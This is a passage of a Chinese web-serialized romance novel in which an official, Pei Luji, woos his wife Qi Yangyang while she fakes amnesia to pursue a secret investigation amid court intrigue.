毕竟他又不像她脸皮厚,被人知道自己做这些小意讨人欢心的事,也毫不在意。 “郎君,我们快些走吧?”她在怀里轻轻拉了拉他衣裳提醒。 裴陆戟看着她,毅然拉开她的手,拍了拍她后背,小声地与她道:“我性情内敛,表达情感的方式本就与你不同,但就因为之前太过于收敛不懂表达,害你受到伤害。” “现在,我想弥补,虽然知道有些伤害一旦错过,就再难弥补,但还是想在你没恢复之前那段记忆之前,尽力弥补一二。” “我知道性格不同不能成为我的借口,错了就是错了,即便是性情不同,也是可以踏出去,为对方做,能让对方觉得安心的行为的。” “我知道,一切都来不及了,但我还是想要尽力地弥补一次。” 他说完这番话,她觉得有些不详的预感,果不其然,他下一刻竟然直接抱着她下马,走到街坊面前,坦率而真诚地表白起来:“诸位,我裴陆戟,以前因为愚昧无知伤害过我夫人许多次,如今学做这糕点,不是想让我夫人原谅,而是” 他从前人就寡言、冷漠,甚少在大众面前婆婆妈妈说那么多,在朝堂的时候,他从来都是一字千金,底下的人纷纷心服口服,话从不说多,也从不废话的。 这辈子说的最多废话的,大概就是今日了,但在某种程度上,他又并不认为自己今日所说的这些是废话。 “而是想小小地学习一下,如果时间能回溯,我可以怎么讨她欢喜。” 裴陆戟抓着自己的手越来越热,戚央央便知道,他其实心里很紧张,也很慌的。 他打一出生下来便是天之骄子,是四大世家之一的世子,即便曾跌落尘埃,也都是骄傲耀眼的,何曾这般公之于众当面剖白自己的情感。 这对他而言,太难太难了。 戚央央听得脸热,想拉他走,却被他反握住,拉回怀里。 “玉骨久成泉下土,墨痕犹锁壁间尘。” “如果这世间是有下辈子,有下下辈子的话我希望能尽快地学会,如何讨她欢喜,下次换我追在她身后跑,再也不让人菲薄她、嘲笑她。” “如果没有她的话,我至今都是躺在黑暗里的一抔泥,永远见不着天光” 他越说越过分,嘴里的那些词越发的高深,她纵然也不是听得太懂,但总觉得头皮发麻,总想找个洞钻进去。 “郎君”她小声地哀求,同时脸上发热,“郎君我们走了好不好?我们之间的事情没有必要告诉全天下人” 再次抬眼看他的时候,发现他浑身都僵硬了,似乎说出的那些话不止她尴尬,他自己也是硬着头皮上的。 他听到她说话,终于转动硬绑的脖子低头看衣袍里的人一眼,她满眼羞涩,又带些惊慌。 他记得她之前就曾执笔写过,希望能把感情公之于众,让天下人都知道 回握住她的手,裴陆戟眸色晦暗,闪过一丝难懂的情绪。 他沉默了一下,之后笑开,对她道:“央央,你知道吗?我今日终于开了这个口了,以前我以为很难。” “确、确实难,现在我也认为很难,我们快走吧”她低着头,把头深埋进衣袍里,从前她觉得自己追在冷冰冰的他身后跑,高调地说些表达情感的话是一件很真诚浪漫的事。 但今日,她只恨不得立马连人带马扛着跑回去,却又生怕被他识破自己的不一样。 不、不行若换作失忆前的戚央央,她一定会高兴成不知什么样子的。 戚央央咬了咬牙,拉过裴陆戟的手,眸光粼粼,心疼道:“郎君,你快别说下去了,让人知道你今日在大街上说这种孟浪的话,明日朝上不知会被你同僚们笑话成怎样,走吧” 她说着,便拉起身上官袍,也往他头上一起该,拉他一块走。 裴陆戟掀开官袍重新盖回到她头上,淡道:“不用,你自己盖。” “我跟自己夫人表达感情,算不得孟浪,他们要瞧便瞧,要说便说。” 说完,他便抱她上了马,在沿街群众交头接耳、窃窃私语中骑马远去。 回府以后,戚央央脑袋都是懵的,耳边嗡嗡作响,都是被大家议论的声音。 但这次议论的对象不再是她了,而是那位天之高贵的裴世子。 对于他在大街上当众宣示自己的情感,诸人口中褒贬不一。 有人觉得世子风流,有人觉得沿街说那样的话,实在有失身份,有人觉得世子为了一个女子,讨好至此,实在男人中的羞耻 从前她那么做的时候,裴陆戟曾冷冷地同她说过:“自己的感情,凭什么要那么大声同别人交代?他们是不会共情、也不会认可你的,你只会因自己的行为异于常人,而遭人白眼、遭嘲笑谩骂,这是最愚蠢的行为。” 可时至今日,他竟然也会站在街头,做那些,他曾经对她说过的,是最愚蠢的行为。 央央叹息,她觉得,如今的自己也没办法共情他了。 “支”的一声,裴陆戟端着药进来,他已经换了身常服了。 “虽然服了解药,但怕你体内还是有药性残留,所以叫大夫开了些药给你调调。” 他把药端在她面前,大有要喂她喝药的打算。 “不用”戚央央下意识抗拒,但想到自己如今失忆了,语调又柔软起来,“郎君今日为了我的事,很辛苦了,而且,你的心意” 她低着头,状似羞赧,“我知道了,以后郎君不必那么做,我不想听见别人笑话你。” 她要去接过药,谁知他把碗端远了些,“我来。” “你手伤着了,要好生养着,还疼吗?”他舀了一勺药递到她唇边。 央央这才想起,自己是在红杏阁被他救下的,而且,如今自己身上穿着的,还是小裁缝的衣裳。 锦绣阁再忙碌,也未必忙到需要她去充当小裁缝出入那种地方。 这等于是被他迎面撞破了。 他会不会怀疑? 不,他一定已经猜到自己了吧? 央央喝下他喂的那口药,心中不安地挨过去,靠着他肩膀,“我想挨着郎君,郎君便这样喂我吧?” 她笑着,心里却飞速地思考着,怎么办?他到现在也没问起自己为何在红杏阁的事,要主动提出来,然后解释吗? 不,这样只会有此地无银之嫌 就在她焦急忐忑之际,裴陆戟终于开口, “央央,你” 第78章 他好像真的不一样了 “央央, 你下次想获得通商文牒,不必把自己置于险难中,你想要什么, 我都可以替你找来的。” 裴陆戟道。 戚央央第一反应是内心惊讶了一下,随后, 脑子飞快地搜寻着, 终于想起来, 今日差点将自己侮`辱的世家公子, 正是礼部尚书的公子祁英杰。 听闻祁英杰有一个叔父就是管华北商署的,羌北和大晋这条商路断断续续进行几十年至今, 她要开发自家商队走羌北这条商路,必须要得到华北商署颁发的通商文牒。 裴陆戟是料定了她装神弄鬼跑去红杏阁堵祁英杰, 是打算托他帮忙弄通商文牒。 这真是瞎猫碰着瞎耗子了。 “可是我总不能什么事都依赖你,”她皱着眉扑进他怀里, 像旧时那副缠人样一样, “我总得学着自己独当一面。” “嗯, 可我是你夫君, ”他轻拍她后背,“文牒对我而言是小事, 你偶尔利用一下我,不是坏事。” 戚央央心中“咯噔”一下。 他现在是不是在暗示呢? 不行, 这时候不能停顿,不能犹豫,再犹豫下去就会被他察觉到不对了。 于是, 戚央央低着头,羞涩地用手攀上了他脖子。 “那郎君今夜留下来,陪陪我?” 她知道今日特别危险, 刚才在马上的时候,她已经能察觉到他的忍耐到达极限了。 她明白不能再这么撩`拨了。 可是,没有办法,因为依照以前她的样子,这会就该趁机留他同`房的。 大不了一会他真受不住要她的时候,她装作今日受刺激劳累过度昏过去? 他这人矜傲得很,她昏过去了他定不会再继续了。 好那那就这么办 戚央央依着以前的习性,拉着裴陆戟不撒手,起身把他拉到内间自己的床上。 以前不觉得,现在突然觉得好羞耻,怎么办 戚央央多么希望他还像以前一样,受不了她主动而半道推开她,这次她可以不必像以前一样,被推开了也硬凑过去吻他,她可以假装惊讶一下,然后受伤地愣在原地,等他走远了才“意识”过来要追他,结果呢,人已经走远了,她自然就追不上啦。 毕竟他刚刚在大街上不是才跟她表白过嘛,那她反应不过来,追不上不也在情中? 想法很美好,但当她抓住他手一路引进自己内间时,他压根没有任何“抗拒”或是要走的意思。 央央渐渐心里有些急了。 难道真的要同他前`戏一番了? 她突然想起以前自己把他吓跑后,硬拉住他,强`吻上去后会发生的事。 起先可能是她显得比较强势,会双臂缠上去,胡乱、且毫无章法地吮`吻他。 到后来,他会从被动,变得逐渐主动,最后她落于下风,身体逐渐支撑不住,会哭着朝他求饶。 他变得每一个吻缓慢而深沉,伴随着的动作也如是,但口中总会损她一句:“活该。” 然后,他自己也会把持不住,成亲五年,他总是在克制与放纵之间不停来回,钥匙却永远握在她手里,她想让他放纵时,只需一个纠缠的吻足矣。 戚央央越来越慌,她知道自己要演好这出戏,必须下血本,稍微有哪一处演得不像失忆前的她,都有可能被他察觉。 但她内心又暗暗地希望,可以不再与他有任何纠缠,因为她已经找到心上人,她已经不爱他了。 世间没有两全法,要救心上人,必须先舍心,于是,她像以前一样,表现得完美无瑕,就是一个痴心女,纠缠情郎的模样,轻解衣带,双手滑入,唇凑近 可就在这时,她肩膀猛地被人握住,手被他从衣襟里捞出,握紧在了他大手里,人则被他伸手一揽,抱在了怀中。 “好了,你睡吧,我今夜留下来陪你,说好在你恢复记忆前不碰你的,我不会食言。” 央央她听得出来,他的声音其实已经很哑了。 年轻男子,面对自己心仪女子的撩`拨,这无疑是烈火烹油、如火燎原。 以前他没有一次能抵挡,到最后都被她诱得屡屡违背原则。 他好像真的不一样了 戚央央抬头看了他一眼,又被他伸手覆盖住双眼,沉哑道:“乖,别乱看,赶紧睡。” 她一惊,生怕再有变故,立马靠在他胸口,强迫自己睡着。 · 礼部尚书没多久就因为其子所犯之事,被参奏上去。 皇帝顾念礼部尚书乃丞相妹夫,特意在朝中点了丞相出列,细问他此事该当作何处。 丞相自然是毫不姑息,提出将祁英杰收押关禁,礼部尚书祁仁义贬职下调。 罢朝后,臣子纷纷从金銮大殿往外走,不少人开始讨论起,裴大人那天在大街上当众示爱表白之事。 “裴大人从前冷静沉稳,从不为这种儿女之情耽误,可他如今” 一个大臣一边走,一边对另一个大臣私语:“听说他最近放着兵部的事情不干,跑去城中某家妇人爱吃的甜点铺,学那厨子做糕,好笑不好笑?” “扭拧作态、耽于私情,终日沉湎情爱,给他梳个髻,就能当妇人了!” 那个故意放话诋毁他的大臣是依附礼部尚书那一派的,祁仁义被打下来了,他自然对裴陆戟心生怨怼。 裴陆戟走在后方听见了,但他抿唇轻笑,并没多加会。 秦相不知何时出现,将那两个大臣拦住。 “他的夫人,被祁尚书儿子喂药企图侮`辱,若他儿子这么对你们妻子,你们是不是也要不被儿女情耽误,将自个妻子拱手送给他儿子?” 那二位大臣慌忙拱手下礼。 “既然两位大人如此看得开,待他儿子被叛了流放之后,你们要不要也把自家妻子送出来,以供他儿子流放路上淫`逸之用?” 两位臣子你看我我看你,俱都瞪大了眼。 “人家裴大人爱妻情切,生怕经此事,夫人名节受损看不开,这才在半路上当面表白情意,这本是一桩美谈,却被尔等曲解成此,本官看,尔等才是梳个髻直接能当长舌妇!” “丞相大人恕罪!丞相大人恕罪!”两位大臣自知亏,慌忙请罪道。 “快走!” 两位大臣慌忙离开。 裴陆戟已经走了过去。 “丞相大人。”他见礼道。 秦相看向他,“裴尚书,都怪本官教导侄儿不力,这才害得你夫人受欺辱,本官在这里给裴尚书赔个不是。” “丞相大人别说这样的话,大人平时日万机,再说了,祁英杰是丞相的侄儿,又不是儿子,怎能怪到大人头上呢?”裴陆戟道。 秦相走近他一步,低声道:“裴尚书当日非要把戚氏带回来,放在身边,是为了哄她说出沐江恩手上的证据藏在何处,希望裴尚书不要忘记。” “丞相大人放心,下官肯定不会忘记。”裴陆戟笑,“下官是为了讨好她,所以那日才会在大街上闹这么一出荒唐事,相信她很快就会被下官哄住的。” “是就好,本官是因为相信你,才会同意让你留她在身边看管着,希望你能控制住她。” “对了,戚氏先前流放罪名还在,虽然我已经向圣上上报过,你俩早已经复婚,她是裴家人了,就可以免去流放,但你抽空还是把你俩的文件拿到官府报备一下复婚吧。不然邢部那边查到没有复婚的话,这事不好办,还是得走一下流程,你知道吧?” “当时是你说会娶沁儿,要与戚氏和离,本官才会同意配合你去国公府演这么一出的,如今你不娶便不娶,毕竟你父亲那边压力大,本官也不为难你,你只要看好戚氏,不让她乱来就行。” “好,下官知道了,最近只是有点忙,等忙完这一阵,会去的。” 送走丞相,裴陆戟绕过几道宫门,就看见狭道处站着皇帝的贴身大内侍,刘公公。 刘公公在此等候裴陆戟多时。 “尚书大人,陛下想知道,你罪证收集情况怎么样了。” 裴陆戟把袖中藏着的一本经书掏出,撕开经书内页,抽出几张交易账目。 “这些是我手抄的,最近收集到的账目,加上之前从沐将军那得到的,已经有□□成,因为时间过去很久,还有一些证据找起来比较困难,但我相信一定能找全,请陛下放心吧。” 刘公公沉吟片刻,道:“尚书大人也知道的吧,秦丞相最近有多嚣张,陛下心中早已不满,这次你参奏他侄儿,他虽然当面提出处置方法,但难保他不会记恨你,尚书大人自己一切小心,陛下也是担心,一旦尚书大人这期间出了什么意外,当年车壁一役的冤案,就真的没办法再查了,所以” “不若尚书大人将现有的证据先拿给圣上,圣上会找人好好保管,毕竟这次的事,恐防秦丞相已经对你不那么信任了,你放心,圣上也会暗中派人保护尚书大人安危的,圣上只是以防万一” 裴陆戟微微一笑,“圣上好意,裴某心领了,但是现阶段,裴某觉得圣上还是少来追问进度,少派公公过来,比较安全。” “裴某有信心,请公公回去转达圣上,多谢陛下的好意,我不会有事,也一定能查出当年车壁一役真相,还战死者一个公道的。” 第79章 他字字犀利,句句精辟,怼得…… 戚央央悄悄培养了属于自己的商队, 在裴陆戟的帮助下拿到文牒,不日就可以出发前往羌北。 她一定要查出,当年父兄那场败战的真实情况, 到底是如何。 父兄到底是被奸人所害,才会弹尽粮绝而亡, 死后还得给上位者背锅, 还是真的参与过贪墨。 该洗刷的冤屈, 她一定会替父兄洗刷, 沐大哥她也一定要救回。 她知道一旦自己通过裴陆戟获得帮助建立了商队,他一定会趁机派人安插在她的商队里, 他这人阴险狡诈,即便是知道她已经失忆, 也一定会留有后手防着她的。 于是,她悄悄地联系上荆王, 请他派人来协助, 明里她的商队以拉生意为主, 暗里则派几个信得过的人, 悄悄配合荆王的人去调查。 裴陆戟这边,她也得更加卖力演好自己的角色, 让他消除防备,把注意力放在别的地方。 这段时日, 戚央央努力像以前一样,每天花更多的时间在裴陆戟身上。 每天早起为他准备些吃的早朝前垫垫肚子,准备朝服, 可等她起来,他已经自己穿戴好朝服,顺便还让下人准备好她爱吃的东西在锅里备着。 昨夜他是宿在她房中的, 可他起来洗漱穿戴那么大的动静,她竟然不知道,说好早起却一觉睡到人家穿戴好。 戚央央披着披风走出外间,愣愣地望着一袭绯色官袍,英气勃发、挺拔如松的他。 他则一边衣袖,一边将桌上的熬得绵软的粥推往她面前,“既然起来,陪我吃点吧,修竹吩咐厨房做的,不是我熬的。” “从前你总喜欢早起给我准备,我并非不喜欢你给我准备的吃食,我只是不喜欢你早起亲自动手。”他如今越发能说出口了,便趁着她在的时候,尽量多说些与她听。 哪怕她如今已经不听这些了。 “那时候,我想着府里有下人,而你是堂堂世子夫人。哪有世子夫人伺候人要自己动手下厨做粗活的?” 戚央央想着若是以前的自己,面对他说这种话时,自己要怎么反应。 “是我自己喜欢做的,伺候郎君做什么我都甘之如饴,更何况我之前看你吃什么都没有胃口,找厨房做些新奇的吃食,厨房又总不懂我意思,就想着亲自看书做些罢了。” 她笑。 裴陆戟沉默了一会。 “我不挑食,没胃口的时候是纯属没胃口,与食物无关,以后你陪着我用膳,我胃口便能好些。” “好,那我就顿顿陪着你,但你不会又嫌我烦吧?”她笑容越发璀璨,当真同以前一模一样。 “不会,我从没烦过你,我从前只是烦我自己,在跟自己怄气,不是真的生你气。”他低头。 戚央央索性挨着他坐,在他的目光下端起他的碗,笑嘻嘻的:“我要吃郎君这一碗。” 说着,便直接用他吃过的勺子挖着吃了起来。 如兰她们在一旁,看得脸红捂唇偷笑起来,自觉地背转过身。 裴陆戟看着她,胃口大开,一下就吃了好几碗。 · 许多之前同裴陆戟接触多的人都发现,裴大人自打携带夫人再次回京任尚书后,气色比之前不知好了多少倍。 “听说裴大人的夫人从前就非常贤惠,想必是这次大人携夫人回来,裴夫人把大人照顾得很好吧?” 有兵部的官员惊于他的改变,道。 谁知裴大人听了这话有些不高兴,“我不认为这‘贤惠’对女子而言,是什么好词,不过是男人用来压制女子,用来管教驯服的一个标准,若有一日,你家夫人夸赞你,说你贤惠,你作何感受?我希望你不要再把这些词,用在我夫人身上。” 那官员一愣,点头道:“好好” “夫妻本是同根树,谈何谁照顾谁?本就是一方弱时,由强的一方来照顾,我不认为需要让夫人来照顾自己,有什么好骄傲的,不就证明这时候的自己正面临弱的时候,非但不能保护身边人,还得让柔弱的她来承受吗?” 他字字犀利,句句精辟,怼得人无话可说。 那官员本想夸他几句状态好,不料自己出口惹祸,听尚书大人说着这话,又觉得挺有道。 他只能道歉:“大人说的一点也没错,是下官浅薄了。” 裴陆戟重新捡起毫笔,表情冰冷,“退下吧。” 那官员退出去后,张白石便领着戚央央进来。 “少仲兄从前总吝于表达这些的,连我都不知道,你的想法原来是这样,少仲兄的观点让张某好生佩服,只是你以前什么都不说成天板着张脸,难免会让人认为你在嫌弃自己夫人对你做的事。你说是吗,裴少夫人?”张白石道。 这时戚央央也提着食篮走过来,“我以前确实也这样想。” “我觉得你不喜欢我,才无视我所做的事情,因为别人家郎君都很喜欢娘子为他们做这些。” 裴陆戟见央央也来了,脸上的冰冷一瞬褪却,皱着眉猛地站起,伸向她的手顿了顿,想起以前自己对她不不睬的作为,垂眸:“从前我确故意冷落你,不管有多少原因,错了便是错了,但是,我绝对不是因为不喜欢才如此” 他走向她,正色道:“你很好,不能因为有人故意冷落、或是待你不好,就认为是你自己的错,是自己不好,也有可能是因为那人不配。” 说实话,戚央央听到他说那样的话时,内心确实挺吃惊。 她不知道原来他一直以来是这么想的。 这让她有点虽不能喜欢他,但也有些佩服他能这么想。 “郎君,谢谢你。”她真心道,“你以前总对我说,让我不要总是做这些没用处的事,我还以为你想说不管我做什么都没法打动你,以为你在劝我放弃” “不是,”他皱眉,紧张地打断道,“央央,我那会也不成熟,总是说一些别扭的话,你做的事并不是没有用处” 张白石看得瞠目结舌,裴大人刚才连怼一个小官都言辞犀利,精准放厥词,这会面对他夫人,却笨得一句话也不会说。 他只好叹息着试图充当他的解说道:“裴少夫人,少仲兄的意思是那会他自己也傻,他不希望你总是大雪天跑来接他,你自己也受冻,明明要出来上值需要挨冻的,只需一人足矣,可你偏偏也出来受冻,他想叫你回去叫不到,只能干脆冷落你,希望你下回别来” “住口!”裴陆戟喝住他,又转头对戚央央,“他说得不对,我当时是希望你不要来,但又不希望你不来,我当时对你姨母有误会,连带着对你也有情绪。” 张白石听得青筋直跳,这人是傻子嘛,有必要说得这么实诚嘛?? “但我不希望你再讨好任何人是真的,你不该为了讨好别人而委屈你自己的。” 戚央央也听得瞪大了眼睛。 她原本以为,以这家伙的偏执程度,他定会趁着她失忆,重新塑造一个完美的自己,让她离不开自己,没想到他竟这么诚实,这倒是让她不知该如何反应了。 若是从前的戚央央的话,听他说他以前确实是对自己使坏的,该是难过的吧,但此时与他闹脾气不利于维护关系呀 就在她自己都不知道该怎么反应的时候,裴陆戟过来牵住她的手,“我其实做错了很多,伤害过你很多,我不是告诉你,你失去很长一段时间的记忆吗?而那段时间,便是我伤害你最深的时候,我不告诉你,就是害怕你会跑掉。” 哪有人这么说话的?!!这是让人跑呢,还是不跑呢??戚央央内心在咆哮着。 但她突然察觉到他握她的手竟在微微颤抖着。 “我自己如今也在努力学习着你若还是想讨好别人,我会陪着你一起讨好,你跪着我绝不站,你站着我给你搬凳子,风雪中我陪你一起站着,黑暗里我也为你找来发亮的萤火” 够了够了戚央央心里默默松了口气,有他这些话,“从前的她”终于可以被他打动,不用真跟他闹掰。 “你”她笑了笑,回握他手,看着他,“饿不饿?早上时你说想以后我都可以陪你用膳,正好我今日也没什么事,便提着午膳过来陪你一起用了。” 她扬了扬食篮。 “好,我们去堂厅那边用膳。” “张大人要一起用吗?我带了许多。”她热情邀请道。 眼看着裴陆戟欲杀人的目光投来,张白石还有什么不明白的,他笑了笑:“我也挺想尝尝裴少夫人手艺的,毕竟” “张大人一日日地没事总往兵部来,是大寺最近太闲了吗?”不等他把话说完,裴陆戟警告性十足的声音便传来。 “我是说,我虽然挺想尝嫂子手艺,但衙门今日派我来兵部是要取证的,我就不妨碍少仲兄和嫂子用膳了。”他笑笑,赶紧逃走。 裴陆戟带着戚央央来衙门堂厅用膳的时候,兵部上下许多人都知道了。 当时他在堂内对下属官员斥驳自己不需要自己夫人照顾,不需要夫人贤惠的话被外面许多人听见,所以此时大家都是抱着看戏的态度,纷纷跑了堂厅用膳,想看看裴大人平日是如何“不需要”照顾,也“不需要”贤惠的。 莫不是说一套做一套,人前说得那么冠冕堂皇,实际还是和大家一样,也干着压制女子那一套的吧? 裴氏夫妇刚坐下没多久,就有好些官员过来见礼,戚央央俱一一点头当时还礼,然后笑着打开提篮,从里头拿出食物,笑道:“我好像第一次来你衙门用膳,从前你在大寺衙门的时候我也没来过,大家看着都挺友好的,你在这里当值当得高兴吧?” 裴陆戟点点头,“还行的。” 大家都等着看裴大人的夫人如何“贤惠”地给他带各式各样好吃的,早在之前大家就已经听说裴大人的夫人是出了名死缠着他才能以孤女的身份嫁入裴家的,此女素有“痴女”之名,定然对男子卑微到泥土里。 可谁知,她从食篮端出各种各样让人食指大动的菜肴,却都全搁在自己那边。 食篮里都掏空了,可裴大人那边却一碟菜也没有,她用膳前还看了他一眼,“郎君,那我先开动了?你们衙门的饭都那么晚上的吗?” 只见裴陆戟笑着轻轻说好,还主动给她泡茶,“你先吃,我吃得比较快,待会再去食厨端。” 大家纷纷咂舌,这裴少夫人果真是来“陪”他用膳,而不是给他加菜的?? 第80章 他将一切都剖开来与她道…… 戚央央塞得嘴巴都是肉, “对不起啊,因为你又不爱吃肉,不爱吃鱼, 不爱吃油,也不吃甜, 从前给你准备什么你好像都不喜欢, 根究下来, 能吃的便只有米饭和一些素菜了, 听说兵部衙门的素菜做得还蛮好吃的,我便没有给你准备什么了。” “不用准备, ”裴陆戟见她吃得唇边都是汤汁,用帕子替她擦掉, “你能来陪我用膳我就高兴了,不必给我准备吃的。” 说完, 他还主动把帮她把鬓边的发丝拨到脑后, 从袖里掏出一枚簪子, 重新帮她簪好。 “慢些吃, 我们衙门用膳时间充裕,你慢些吃可以陪我吃久一些。” 旁边的人听得直皱眉, 这确定是从裴大人嘴里说来的话?想往常,裴大人用膳都直接吃两口应付一下, 有时候甚至直接把饭端进去,边吃边做事,还老催促他们吃饭快些别耽误事 裴陆戟见自家夫人饭吃得差不多, 自个才去食厨里将自己的饭菜端出来。 一边看着他家夫人用膳,还一边将自己饭菜中但凡有他家夫人爱吃的都夹过去。 而他夫人是怎么反应的?果真跟半点贤惠沾不上边,盯着他的菜, 指指点点道:“哇,这个藕好像焖得挺不错,我想尝尝哎。” “那个呢?那个栗子烧鸡好不好吃?” “云耳好像也不错。” “那个小菜心瞧着挺新鲜的” 结果,他们裴大人几乎将菜都夹给他夫人吃了,自己只吃米饭。 “呀,你怎么都没吃菜,光吃饭怎么行?”戚央央吃着吃着发现他把菜都夹给自己了,“我哪吃得了这么多呀,你是要把我养成大肥猪吗?” “可是,你吃什么也不会胖,别怕,”裴陆戟看着她道,“就算真的胖了也不怕,胖些才好看,你太瘦了。” “不行”她皱眉,停下筷著,“我怎么能因口腹之欲发胖呢,你觉得胖些好看,可我不觉得呀。” 裴陆戟思考了一下,又道:“那也没关系,我有个补益助消的方子,回头我把方子做成药膳糕,你吃了就不会胖。” “那太好了,那药膳糕能做成栗子糕味道的吗?我突然想吃栗子糕了。”她笑。 “我回头琢磨一下。” 裴少夫人吃完饭,碟子就堆在那里,裴大人竟然还帮她一个个碟擦干净然后放回食篮里,弄好这些之后,裴少夫人说困了,他竟然还亲自抱她进屋,就让她睡在内堂自己办公屏风后的一张矮榻上,还找来被子替她盖好。 这一切一切他做得那么熟练流畅,当真把众人都看傻了眼。 她在屏风后小憩,而裴陆戟端坐在屏风前的案上继续处公文,他在处着公文的时候,突然,来了个人进衙门找他,是秦丞相的人。 戚央央在屏风后听说话声音越来越小,感觉不对,便赶紧贴耳附上去听。 “下官刚才听说大人需要,便给大人捎过来了,这些是大人和夫人复婚的一些流程需要的资料,大人和夫人签署上交给下官办就可以了。” 刚听到这里,发现只是一些无关紧要的事,便悄悄返回矮榻继续假寐。 不料此时张白石也进来,眼神犀利地看见她的一片裙角,立马笑着大声道:“嫂夫人想偷听什么?” 裴陆戟和那个小官的目光也往后方去。 戚央央知道自己这回息事宁人不了,只好走出屏风酝酿好情绪准备演出了。 如果是真正失忆的她,此时肯定会感到困惑,必定要来问上一问的,什么复婚,为什么要复婚? 以前的戚央央最在乎就是她和裴陆戟的婚事,只要二人还是夫妻关系,府里有没有其他女人,就算他对她态度冷淡些,那她也还是能够接受。 但,倘若一朝有人告诉她,她和他的婚姻早就完了呢?那她不可能不闹的。 看来无论如何都避免不了站出来跟他闹了,只是要闹的话,她要怎么去拿捏这个度,才会让人信服的同时,又不会真的闹掰。 她不确信如果自己闹太厉害的话,他能否回过头拉住自己,毕竟他这个人虽说确定他喜欢上她,但依照他脾性,他大概是宁愿自己痛苦,也不会放下身段来挽回的。 所以,当她走出屏风,憋红了眼睛欲演,却还没想到要怎么个“演”法之际,裴陆戟突然上前握住了她的手。 “央央,你不必偷听,你只要想知道的话,我都会完完全全告诉你,包括你所失掉记忆的全部。” 看着他认真的态度,戚央央有一丝不好的感觉涌上心头。 不他不会真说吧? 把那些过往都说出来了之后,她还怎么利用这段关系行事呢?还是说他已经瞧出自己来了,所以故意呢? “不错,我们先前曾经和离,起初是你要求的,我一直拖着并未答应,到后来” 他叹了一声,“到后来便轮到我强迫你摁下手印答应了。” “为什么呢?”既然他已经将此事戳开,她也不得不开始演了。 她满眼的不可置信,眼神里蕴含着不安和伤心。 此时前来给他捎文件的官员离开,这里是裴陆戟一个人办公的隔间,此时除了张白石、他和戚央央外,再没旁人。 裴陆戟抛了一记眼神给张白石,示意他热闹看够了。 张白石便只好摸摸鼻子离去。 “因为” 戚央央生怕这人果真如盘托出,这样矛盾无法在短时间消除,她也不能再来时时刻刻缠着他,那她的商队还如何行事呢? “郎君!”她眼眶红得厉害,泪珠像断了线似的,一滴滴无声地滚下,砸落在地,目光闪烁,像是惊惶又像在逃避,拽起裙角往外道:“我我想起来我刚刚借用你们衙门厨房熬了甜汤,我我去看看熬好没有” 说着,她不听他接着想说的话,飞快地往门口跑去。 身后落下的裴陆戟眉头紧蹙,手伸到一半想将她喊住。 她没跑几步又折回来,低着眉也不敢看他,只呐呐地将他推倒在官帽椅上,直接上手脱他官靴道:“那个你鞋垫垫得不稳当,我帮你稍微改一下再拿回来” 说完,她就风似的跑走了。 裴陆戟想追上她说清楚,可鞋被夺,他低头看着自己只履袜的脚,眉头猛皱。 听到这里,屋外躲在柱后的人深知自己得走了,不料却被屋里的人喊住。 “听这么久了,进来说两句吧。” 张白石无法,只能讪笑着进屋来,“少仲兄我、我只是” “少仲兄既然想与她重修旧好,又何苦在意细枝末节,只要是能把她留在身边就好了,何必如此较真,非要告诉她全部?” 明明自己偷偷去办好复婚,就可以当作一切不曾发生过,她要是想不起来,也不必再告诉她那些过往,做好现在的就可以了。 “你最近很闲是吗?”他剜了他一眼,冷道:“把鞋脱了。” 张白石往后退半步,“脱鞋干嘛?” 然后,他目光移下,看见了他只履白袜的脚,登时觉得好笑,“少仲兄你” 裴陆戟不耐烦,“给我。” “不给。”张白石忍不住敲起案桌笑了起来。 就在此时,外头传来焦急的呼喊:“不好!快拿烫火药!厨房汤撒了” 话落,裴陆戟便连鞋都顾不上要,飞奔跑了出去。 刚才戚央央使了拖延之计,跑去厨房装作熬甜汤,想想好法子再进去应对,不料刚进厨房,便看见几个衙役搬运汤桶的时候不慎把汤洒落,好些人都被烫伤了。 戚央央便只好帮忙处烫伤,让人打水来,让烫伤的人迅速泡在冷水中。 这时裴陆戟竟过来了,见她蹲在地上,一手把她拉起,仔细瞧着,声音微有气喘,“你…还好吗?” 戚央央发现他只履袜就跑过来了,雪色的百吉纹袜踩在地上,脚趾那里的袜子渗出了红,是方才太焦急,踩过廊外那片碎石地被石子刺伤的。 她看着他紧张的样子,突然生出一丝愧意:“我没事啊,你没鞋穿瞎跑出来做什么呢?” 得知她无碍后,他松了口气,紧接着便拉着她的手往外走。 戚央央低头看着他脚上踩脏了的袜子,紧喊了他一句,将手中夺了的他的鞋子还他道:“你…把鞋穿好吧。” 看着他紧张她连鞋子不穿就跑出来的样子,她也实在说不出拒绝跟他走的话。 只是,他真的要把这一切都说出来吗? “央央,我先前同你请求过,可不可以让我同你和睦地相处些时日,以前的事,暂时先不告诉你” “你现在也可以先不必告诉我!”戚央央装作自欺欺人的样子,赶紧捂住他唇道。 裴陆戟轻轻拉开她手,将她抛回给自己的鞋,逐只穿好,继续拉着她手来到后院望风亭下。 “今日你既已听见这事了,焉能装作不知晓?” “我之前请求先不告诉你,是希望你能暂时忘掉还有一段记忆,给我一次重新再来的机会,你今日既已经知道你我和离一事,那么,我便只能老实告诉你,不错,先前你我和离,确是我逼迫于你,害你伤心难过,而且我还故意为了能让你离开京城,才与你和离,断绝与你的关系,让你可以划分与我的关系。” “我害你流放,又故意放出消息,让封州的荆王知道你身份,他顾念你爹你兄长,定会出手相助,还有太子他就不敢对你动手,我也能更加毫无顾虑,去做我的事。” 他将一切都剖开来与她道。 80-88 第81章 他说到这里突然顿住,“都是…… 戚央央听得一愣。 “真的吗?” 她皱了皱眉, 内心是有些不信的,虽说现在要试验一个没有之前那段记忆的戚央央,但拥有过那段记忆的她, 永远忘记不了那一天他带着一群人踩上国公府的门,他亲自逼迫她和姨母签下和离书时, 那个绝情冷漠的眼神。 “既然你有苦衷, 我想我先前就应该原谅你了, 只是我真的毫不记得, 你要做的到底是何事了。”央央打算探他话,看他到底能给她说多少。 裴陆戟摇摇头, “这件事还不能告诉你,在你失忆之前, 我也没有将这事告诉过你,你一直认为我是想另娶他人, 才会设局逼你在那个情况下和离, 认为我想报复你, 但是, 虽然因你姨母和我父亲的事,我心有芥蒂, 平日对你言语上多有冷漠,但是” “我绝对, 不曾因为这个想要同你和离,一刻也没有想过!” “跟你和离以后,我也并没有想过要另娶别人, 同你和离前不曾想过,同你和离后也不曾想过!” 戚央央演得很像,眼眶里都是泪, 擦掉落下的泪,抬起红红的眸子看他:“那你在我失忆前误会你的时候不说,为何我失忆了,忘记了那些,你却要提起来,然后再像我解释这些呢?” 